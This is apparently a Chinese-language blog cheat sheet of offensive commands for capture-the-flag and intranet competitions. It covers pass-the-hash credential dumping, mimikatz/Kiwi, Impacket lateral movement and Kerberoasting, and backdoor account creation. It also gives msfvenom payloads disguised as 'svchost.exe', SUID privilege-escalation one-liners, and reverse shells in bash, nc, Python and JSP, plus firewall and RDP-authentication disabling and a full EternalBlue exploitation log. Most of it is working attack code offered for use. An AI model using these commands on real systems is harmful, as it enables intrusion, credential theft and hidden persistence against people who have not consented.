2
3
4
5
# 扒取所有机器本地的 SAM 密码本(防止对方改了域管密码,你还能用本地管理员登录):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -M sam

# 抓取所有机器内存中的“明文密码”(抓到就是赚到!):
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -M lsassy

开启RDP

命令行下操作太累,或者某些带 UI 的工具必须在图形界面下运行。

动作: 一键开启目标机器的 3389 端口,并自动修改 Windows 防火墙放行规则。

1
2
3
4
5
# 对特定靶机(如 192.168.20.20)一键开启远程桌面:
proxychains4 nxc smb 192.168.20.20 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -M rdp -o ACTION=enable

# 如果你想顺手建个极其隐蔽的克隆影子账号留后门(加到管理员和远程桌面组):
proxychains4 nxc smb 192.168.20.20 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' -x 'net user DefaultAccount Admin123!@# /add & net localgroup administrators DefaultAccount /add & net localgroup "Remote Desktop Users" DefaultAccount /add'

文件批量搜索

找不到 Flag,怀疑藏在某些共享目录或者配置备份里。

动作: 自动列出所有机器的共享文件夹,查看哪些是任何人都可以读写的。

1
2
# 查看所有网络共享目录的权限:
proxychains4 nxc smb 192.168.20.0/24 -u 'Administrator' -H '94bd5248e87cb7f2f9b871d40c903927' --shares

MetaSploit-Framework

MSF 有极其严格的“开火边界”和“战后管理”区分。

你的操作到底是对谁进行的,取决于当前处于 MSF 的哪个阶段

阶段一:破门而入前(针对 RHOSTS 当你在 msf6 > 提示符下,使用各种漏洞模块(Exploit)或者扫描模块(Auxiliary)时,你敲下 exploitrun 的那一刻,枪口确实是死死对准 RHOSTS 里的 IP 的。

阶段二:拿下控制权后(针对 SESSION,彻底抛弃 RHOSTS) 只要你打成功了,终端变成了 meterpreter >,这台机器就会被 MSF 编入“战俘营”,并分配一个编号(比如 Session 1)。 从这一刻起,你在 Meterpreter 里敲的所有命令(比如 hashdumpshell),都是直接通过隧道发给 Session 1 的,跟 RHOSTS 这个变量再也没有半毛钱关系。

RHOSTS是覆盖式的。

当你输入 set RHOSTS 192.168.20.30 时,它会无情地清空之前的值。如果你接着输入 set RHOSTS 192.168.20.20,那目标就只剩下 .20 了,之前的 .30 会被完全遗忘。

虽然 set 是覆盖的,但 RHOSTS天生支持接收一个群体目标。如果你想同时打多台机器,不需要一行行去 set,直接像这样喂给它:

  • 打网段: set RHOSTS 192.168.20.0/24 (自动扫这 255 个 IP)
  • 打连号: set RHOSTS 192.168.20.10-192.168.20.50
  • 打点名: set RHOSTS 192.168.20.10, 192.168.20.30 (用逗号隔开)
  • 打文件: set RHOSTS file:/root/targets.txt (把你 fscan 扫出来的存活 IP 存进文本,让它批量去打)

在 MSF 里,“退出”和“挂起”是两个完全不同的概念。 千万、千万不要在 meterpreter > 提示符下直接输入 exit!这会直接切断你的连接,并在靶机上销毁后门进程(意味着你得重新打一遍漏洞)。

当你在这台靶机上的操作(比如抓密码、查 IP)做完了,想要退回 MSF 全局控制台去打其他机器时:

操作:meterpreter > 下,输入:

1
background

结果: 你会看到提示 [*] Backgrounding session 1...,并且命令行回到了 msf6 >。此时,你与靶机的连接依然在后台静默保持着。

当你在后台挂起了好几台机器后,你可能会忘了哪台是哪台。回到 msf6 > 提示符下,你可以随时查看当前手里有多少台“肉鸡”。

操作:

1
sessions

(或者 sessions -l)

结果: 屏幕上会列出一张表格,里面有几个极其关键的信息:

  • Id: 会话的编号(比如 1, 2, 3)。重连时就靠它!
  • Type: 显示是 meterpreter 还是普通的 shell。
  • Information: 会显示当前权限和计算机名(比如 NT AUTHORITY\SYSTEM @ WIN-7NRTJO...)。
  • Connection: 显示谁连的谁。

当你想回到某台机器(比如刚才的域控,假设它的 Id 是 1)继续执行命令时:

操作:msf6 > 下输入(i 代表 interact 交互):

1
sessions -i 1

结果: 你会看到 [*] Starting interaction with 1...,熟悉的 meterpreter > 提示符瞬间就回来了!你可以接着敲 shell 或者其他命令。

安装

1
2
3
4
5
6
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
  
  
✗ sudo env http_proxy="http://127.0.0.1:7897" https_proxy="http://127.0.0.1:7897" ./msfinstall

Windows基础操作

查询基础信息:

1
getuid

查询详细信息:

1
getuid

把所有本地账号的 NTLM Hash 掏出来:

1
hashdump

与cmd/pwsh一样的,可以直接在msf中使用ipconfig查询:

1
ipconfig

进入Windows原生命令行:

1
shell

权限升维标准作战程序

Linux 靶机 (Web 服务器环境)

假设场景: 你通过某个漏洞传上了一个冰蝎/蚁剑,或者拿到了一个很难用的命令执行盲注,你想把它换成丝滑的 Meterpreter。

方案 A:二进制 ELF 落地法(最稳、最强大)

这是赛场上成功率最高的方法,因为生成的 elf 文件自带完整的运行环境,不依赖靶机上有没有装 Python 或特定的环境。

1. 制造子弹 (在你的 WSL 攻击机执行)

1
2
3
# 生成 64 位 Linux 专属的 Meterpreter 木马
# LHOST 填你攻击机 (WSL 或 iox 代理端) 的 IP,LPORT 填你要监听的端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o update_sys

2. 部署监听阵地 (进入 msfconsole 盲打)

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j

3. 投递与引爆 (通过你的蚁剑/残缺 Shell 操作)

  • 将生成的 update_sys 文件传到靶机的 /tmp/dev/shm 目录下(这两个目录通常对所有用户可读可写可执行)。
  • 在蚁剑终端里依次执行:
1
2
3
cd /tmp
chmod +x update_sys
nohup ./update_sys &

(敲下回车,你的 MSF 屏幕上就会狂闪 Meterpreter session X opened!)

方案 B:Python 内存无文件加载(极度隐蔽)

因为你平时写脚本比较多,对 Python、PHP、Node.js 这些环境很熟悉。如果靶机上刚好装了 Python(现代 Linux 基本自带),并且你不想往硬盘上写文件(怕被防守方的文件监控工具抓到),这个招数堪称绝杀。

1. 生成 Python 版的 Payload

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o py_shell.py

2. 监听端配置

1
2
3
4
5
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j

3. 一键引爆 打开刚才生成的 py_shell.py,里面是一长串 base64 编码的 Python 代码。你只需要把这串代码复制下来,直接粘贴到蚁剑的残缺终端里执行:

1
python3 -c "exec(import('base64').b64decode('里面那一长串base64字符串'))"
Windows 靶机 (内网横向枢纽)

Windows 的上线逻辑和 Linux 几乎一模一样,唯一的区别在于载荷格式(Payload)

1. 制造 Windows 版子弹

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f exe -o svchost.exe

2. 监听端配置

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
exploit -j

3. 投递与引爆 用蚁剑传到 C:\Windows\Temp 目录下,然后在终端执行:

1
C:\Windows\Temp\svchost.exe

细心的你可能发现了,我们上面选的都是 reverse_tcp。 但在真实的 AWDP 架构中,Web 靶机(Linux)和内网靶机(Windows)的网络权限通常是不一样的!

  • 打 Web 靶机(通常是 Linux):用 Reverse_TCP(反向连)。 因为 Web 机器通常有一个公网/赛场总网 IP,它能顺着路由找到你的物理机。
  • 打深层内网靶机(比如那台 2008 域控):必须用 Bind_TCP(正向连)。 因为深层内网断网,靶机根本不知道你的 IP,所以你必须让它本地开个端口(比如 bind_tcp),然后你顺着 iox 代理爬进去连它。

如果你不想每次上线都苦哈哈地手敲那 5 行 use exploit/multi/handler... 的监听配置代码,想要我教你怎么在 MSF 里写个一键启动的“自动化资源脚本 (RC 脚本) ”来秒开监听吗? 这在比赛中能帮你抢出极其宝贵的几分钟!

域渗透

mimikatz / kiwi

适用场景: 你当前的权限是 AdministratorSYSTEM

核心目的: 从 Windows 底层的 lsass.exe(本地安全机构子系统服务)内存中,把别人登录过的明文密码或 Hash 抠出来。

🚨 Kiwi 强依赖系统架构。如果打下的是一个 64 位的 Windows Server,但弹回来的 Meterpreter 进程是 32 位的,直接运行 load kiwi 绝对会报错或者抓不到东西。

标准解法:先迁移进程,再抓密码!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 本过程在msf中进行
# 1. 寻找一个稳定的、与系统架构一致的 64 位进程
# 通常找 spoolsv.exe 或 lsass.exe)
# 假设在 ps 列表里看到 spoolsv.exe 的 PID 是 1122
migrate 1122

# 2. 进程迁移成功后,加载 Kiwi 模块
load kiwi

# 3. 傻瓜式一键全抓(包含了明文、Hash、Kerberos 票据)
creds_all

# 4. 【备用大招】如果 creds_all 没抓到,调用原生的 mimikatz 命令强抓
kiwi_cmd sekurlsa::logonpasswords

# 5. 抓取本地 SAM 数据库(即使没人登录过,本地密码也跑不掉)
lsa_dump_sam

Kiwi 其实就是 MSF 官方为了防杀软,把著名的黑客工具 Mimikatz 重新用 C 语言写了一遍,打包成了内存模块。它不落地生根,直接在内存里读取密码,极其隐蔽。

impacket

🗡️ 模块一:横向移动与命令执行 (拿到凭证后怎么 GetShell)

这是你拿到哪怕一个普通账号密码后,最先要尝试的工具。它们主要利用 135 (RPC) 和 445 (SMB) 端口。

工具名称战术特点 (实战场景)攻击示例代码
wmiexec.py首选!最隐蔽。 不上传可执行文件,通过 WMI 执行命令,防守方很难察觉。获得的通常是 Administrator 权限。wmiexec.py 域名/用户名:密码@目标IP (哈希传递:) wmiexec.py -hashes LM:NTLM 域/用户@IP
psexec.py最暴力,权限最高。 会在目标机器上传一个随机名字的 .exe 服务。动静极大,容易被杀软秒杀,但一旦成功,直接是 NT AUTHORITY\SYSTEM 权限。psexec.py 域名/用户名:密码@目标IP
smbexec.py备用方案。 同样创建服务,但不上传 .exe,而是把命令回显重定向到临时文件再读取。如果 psexec 被拦了,用它试试。smbexec.py 域名/用户名:密码@目标IP
atexec.py计划任务执行。 利用 Task Scheduler 服务 (RPC) 执行命令。有时能绕过对 WMI 的监控。atexec.py 域名/用户名:密码@目标IP "whoami"

⚠️ 避坑指南: 如果密码里有特殊字符(比如 !, @, #),在命令行里很容易被解析错。遇到这种情况,不要把密码写在命令里,直接敲 wmiexec.py 用户名@IP,回车后它会隐式提示你输入密码,这样最稳。

💰 模块二:凭证窃取 (如何拔光整台机器的密码)

当你通过上面的工具拿到高权限(管理员或 SYSTEM),第一件事就是把这台机器上的所有密码 Hash 扒下来。

工具名称战术特点 (实战场景)攻击示例代码
secretsdump.py内网核武器。 如果打普通机器,它能拔出本地 SAM 表和 LSA 里的明文/Hash;如果明天你打到了真正的域控 (DC),用它能直接导出整个域的 NTDS.dit (所有域用户的密码 Hash)!secretsdump.py 域名/用户名:密码@目标IP

模块三:域内侦察与信息收集 (没有高权限怎么办?)

如果你只在 Web 目录里翻到了一个低权限的普通域用户(比如只能看网页,不能登录机器),用这几个工具可以通过域内机制“白嫖”信息,甚至直接拿到其他用户的 Hash。

工具名称战术特点 (实战场景)攻击示例代码
lookupsid.py枚举域用户名。 只要有一个低权限账号,就能通过 SMB 命名管道把域内所有的用户名全列出来,方便后续做密码喷洒。lookupsid.py 域名/用户名:密码@目标IP
GetUserSPNs.pyKerberoasting 攻击。 查找域内注册了 SPN 的服务账号,并直接把它们的票据 (TGS) 导出来,你可以拿到本地用 Hashcat 离线爆破密码。GetUserSPNs.py 域名/用户名:密码 -dc-ip 域控IP -request
GetNPUsers.pyAS-REP Roasting 攻击。 查找域内配置了“不需要 Kerberos 预身份验证”的傻瓜用户,直接获取其 TGT 并离线爆破。GetNPUsers.py 域名/用户名:密码 -dc-ip 域控IP -request

🎭 模块四:中继与中间人 (进阶防守反击)

如果明天你发现拿到了靶机权限,但抓不到密码,或者你所在的主机一直有其他队伍的机器在扫你,你可以化被动为主动。

工具名称战术特点 (实战场景)攻击示例代码
ntlmrelayx.pyNTLM 中继攻击。 在你的机器上伪造一个 SMB/HTTP 服务,如果别的机器试图用 NTLM 认证连接你,你可以把这个认证凭据“转发”给目标靶机,从而不输密码直接执行命令。ntlmrelayx.py -tf targets.txt -c "whoami"

🚀 实战组合拳:上机标准流程

假设你拿下了那台 Windows Web 服务器 10.**.**.**,并且翻到了一个叫 Administrator 的密码是 QWEasd123

  1. 第一手验证与潜入: wmiexec.py Administrator:QWEasd123@10.**.**.** (拿到交互式 Shell,看一眼 ipconfig,探探底)
  2. 第二手捞取战利品: secretsdump.py Administrator:QWEasd123@10.**.**.** (把这台机器上的 Hash 全拿走,存到你的 TXT 里)
  3. 第三手横向扩展: 拿着刚才导出的 Hash,去撞数据库服务器 10.**.**.**wmiexec.py -hashes 00000000000000000000000000000000:你拿到的NTLM_Hash Administrator@10.**.**.**

Linux

Linux提权

Trick

1
/sbin/getcap -r / 2>/dev/null

如果发现有程序有:

/usr/bin/tar = cap_dac_read_search+ep

可以有操作:

1
tar -zcvf root.tar.gz /root

这样就把没有权限的root目录打包出来,然后本地解包就可以绕过权限:

1
tar -zxvf root.tar.gz

SUID提权

1
2
find / -perm -4000 -type f
find / -perm -u=s -type f 2>/dev/null
程序路径提权原理 & 利用命令适用场景
/bin/bash执行后直接获得 root shellbash -p管理员误给 bash 加 SUID(最爽)
/bin/sh同 bash 原理sh -p轻量系统(如 Alpine)
/usr/bin/python通过 python 执行 root 权限命令python -c 'import os; os.execl("/bin/sh", "sh", "-p")'几乎所有 Linux 系统
/usr/bin/perlperl 执行 root shellperl -e 'exec "/bin/sh";'服务器 / 渗透测试常见
/usr/bin/rubyruby 提权ruby -e 'exec "/bin/sh"'运维 /ruby 开发环境
/usr/bin/findfind 的 - exec 参数执行命令find /tmp -exec /bin/sh -p \;系统自带,几乎 100% 存在
/usr/bin/awkawk 调用 shellawk 'BEGIN {system("/bin/sh -p")}'运维 / 数据分析服务器
/usr/bin/nmap旧版 nmap 有交互模式nmap --interactive然后输入:!shCTF 高频考点
/usr/bin/vi/vimvim 执行 shellvim -c ':!/bin/sh'管理员常用编辑器,易误配 SUID
/usr/bin/cp覆盖 root 权限文件(如 /etc/passwd)cp /tmp/my_passwd /etc/passwd需先构造恶意 passwd 文件
程序路径利用方式
/usr/bin/sudo先看可执行命令:sudo -l再执行:sudo su root(无密码 / 弱密码)
/usr/bin/tartar 的 –checkpoint 参数执行命令tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/usr/bin/openssl新版 openssl 可执行 shellopenssl req -x509 -newkey rsa:4096 -keyout /tmp/key -out /tmp/cert -days 365 -nodes -subj "/CN=test" && openssl dgst -sign /tmp/key -out /tmp/test /bin/sh && openssl enc -d -aes-256-cbc -in /tmp/test -out /tmp/sh -k test && chmod +x /tmp/sh && /tmp/sh -p
/usr/bin/ping旧版 ping 可调用 shell(需配合环境变量)export PATH=/tmp:$PATH; echo -e '#!/bin/sh\n/bin/sh -p' > /tmp/ping; chmod +x /tmp/ping; ping
/usr/lib/policykit-1/polkit-agent-helper-1通过systemd-run -t /bin/bash来提权,原理是systemd-run会调用这个polkit
1
2
tar cf /tmp/f.tar /flag
tar xf /tmp/f.tar -O

反弹shell

Bash

1
bash -i >& /dev/tcp/你的IP/你的端口 0>&1

传统nc

1
nc -e /bin/bash 你的IP 你的端口

现代nc

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 你的IP 你的端口 >/tmp/f

python

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",你的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Jsp反弹shell

1
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b));  out.print("</pre>"); } %>

Windows

基本操作

解决乱码

在现在的 C:\Windows\system32> 提示符下,直接输入这行命令并回车:

chcp 65001

这行命令的意思是:Change Code Page(更改代码页)为 65001(也就是 UTF-8)。

域控信息查询

查出当前域内所有的域控制器

1
nltest /dclist:cyberstrikelab.com

查域管理员

1
net group "domain admins" /domain

Windows提权

UDF提权

secure_file_priv 为空或者为可利用目录时可以UDF提权


Windows开远程桌面

在Windows系统中net user命令主要用于创建,修改,删除用户账户,上面的命令整体为添加名为xtk的新用户,密码为123@abc

net user xtk 123@abc /add

net localgroup命令用于管理本地用户组,整条命令为将我们新创建的用户添加到用户组Administrators组中,以此来达到用户具有管理员权限。

net localgroup Administrators xtk /add

修改注册表启用远程桌面连接:

  • REG ADD: 用于向注册表中添加或修改键值。

  • HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server: 注册表路径,控制远程桌面连接的设置。

  • /v fDenyTSConnections: 指定要修改的键值名称。

  • /t REG_DWORD: 指定键值类型为 DWORD。

  • /d 00000000: 设置键值的数值数据为 0(表示启用远程桌面连接)。

  • /f: 强制覆盖现有键值,无需确认。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

禁用掉身份验证:

  • reg add注册表编辑指令,表示向注册表中添加或修改键值。
  • "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"这里充当的是注册表的路径,也就是我们要修改的地方,目标键位于 HKEY_LOCAL_MACHINE,涉及远程桌面服务的 RDP-Tcp 协议配置。
  • /v UserAuthentication指定要操作的注册表值名称,此处为 UserAuthentication
  • /t REG_DWORD定义值类型为 REG_DWORD(32 位整数),/d 0设置数据为0,表示禁用功能。
  • /f和之前一样还是强制覆盖,不提示确认。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

禁用防火墙:

  • netsh advfirewall: 用于配置高级防火墙设置。
  • set allprofiles: 表示对所有配置文件(域、专用、公用)进行操作。
  • state off: 关闭防火墙。
netsh advfirewall set allprofiles state off

常见漏洞

MS17-010 永恒之蓝

以下是标准流程:

  1. 启动smf:
1
msfconsole
  1. 设置代理:
1
setg Proxies socks5:127.0.0.1:10808

注意这里的代理是proxychains的代理,也就是本地主机监听靶机的端口,对应的iox命令是:

1
./iox.exe proxy -l 9999 -l 10808

这个命令在windows终端执行,在虚拟机中被msf代理。

确定代理:

1
setg ReverseAllowProxy true
  1. 利用exp
1
use exploit/windows/smb/ms17_010_eternalblue

设置目标靶机地址:

1
set RHOSTS 192.168.20.30

这里是内网靶机的地址。平时打外网靶机,我们习惯用 reverse_tcp(让靶机主动连我们)。 但在现在的内网环境里,靶机 (192.168.20.30) 根本不知道你的物理机/WSL 的 IP 是多少,流量回不来。 所以我们必须使用 bind_tcp (正向 Shell):让 MSF 在靶机上开一个端口(比如 4444),然后顺着我们的 iox 隧道主动爬进去控制它!

设置payload,演示的目标是 2008 R2 (64位),我们就用 x64 的 Bind TCP:

1
set payload windows/x64/meterpreter/bind_tcp

设置目标机器上将要开放的端口(默认 4444 即可) :

set LPORT 4444
  1. 启动
1
exploit

附日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
+ -- --=[ metasploit v6.4.124-dev-                              ]
+ -- --=[ 2,630 exploits - 1,327 auxiliary - 1,706 payloads     ]
+ -- --=[ 431 post - 49 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > setg Proxies socks5:127.0.0.1:10808
Proxies => socks5:127.0.0.1:10808
msf > setg ReverseAllowProxy true
ReverseAllowProxy => true
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.20.30
RHOSTS => 192.168.20.30
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.20.30    yes       The target host(s), see https://docs.metasploit.com/docs
                                             /using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication.
                                              Only affects Windows Server 2008 R2, Windows 7, Windows
                                              Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Onl
                                             y affects Windows Server 2008 R2, Windows 7, Windows Emb
                                             edded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects
                                             Windows Server 2008 R2, Windows 7, Windows Embedded Stan
                                             dard 7 target machines.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.20.30    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 192.168.20.30:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.20.30:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
[*] 192.168.20.30:445     - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.20.30:445 - The target is vulnerable.
[*] 192.168.20.30:445 - Connecting to target for exploitation.
[+] 192.168.20.30:445 - Connection established for exploitation.
[+] 192.168.20.30:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.20.30:445 - CORE raw buffer dump (36 bytes)
[*] 192.168.20.30:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.20.30:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 192.168.20.30:445 - 0x00000020  37 36 30 30                                      7600
[+] 192.168.20.30:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.20.30:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.20.30:445 - Sending all but last fragment of exploit packet
[*] 192.168.20.30:445 - Starting non-paged pool grooming
[+] 192.168.20.30:445 - Sending SMBv2 buffers
[+] 192.168.20.30:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.20.30:445 - Sending final SMBv2 buffers.
[*] 192.168.20.30:445 - Sending last fragment of exploit packet!
[*] 192.168.20.30:445 - Receiving response from exploit packet
[+] 192.168.20.30:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.20.30:445 - Sending egg to corrupted connection.
[*] 192.168.20.30:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.20.30:4444
[*] Sending stage (232006 bytes) to 192.168.20.30
[+] 192.168.20.30:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.20.30:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.20.30:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (127.0.0.1:45391 -> 127.0.0.1:10808) at 2026-03-20 19:13:58 +0800

特别注意

wsl的linux权限问题

我看你的路径是在 /mnt/e/CyberSecurity,这是 Windows 的 E 盘挂载到 WSL 下的。由于 Windows 文件系统的特殊性,直接在挂载盘执行 chmod 往往是不生效的(你会发现执行完后权限还是 777)。

如果执行完 chmod 600 ./ssh 后再次连接还是报同样的错,请按照以下步骤操作:

1. 将私钥拷贝到 WSL 内部的 Linux 家目录:

Bash

1
cp ./ssh ~/id_rsa_tmp

2. 在 Linux 家目录下修改权限并连接:

Bash

1
2
chmod 600 ~/id_rsa_tmp
ssh -i ~/id_rsa_tmp root@39.98.110.213
This post is licensed under CC BY 4.0 by the author.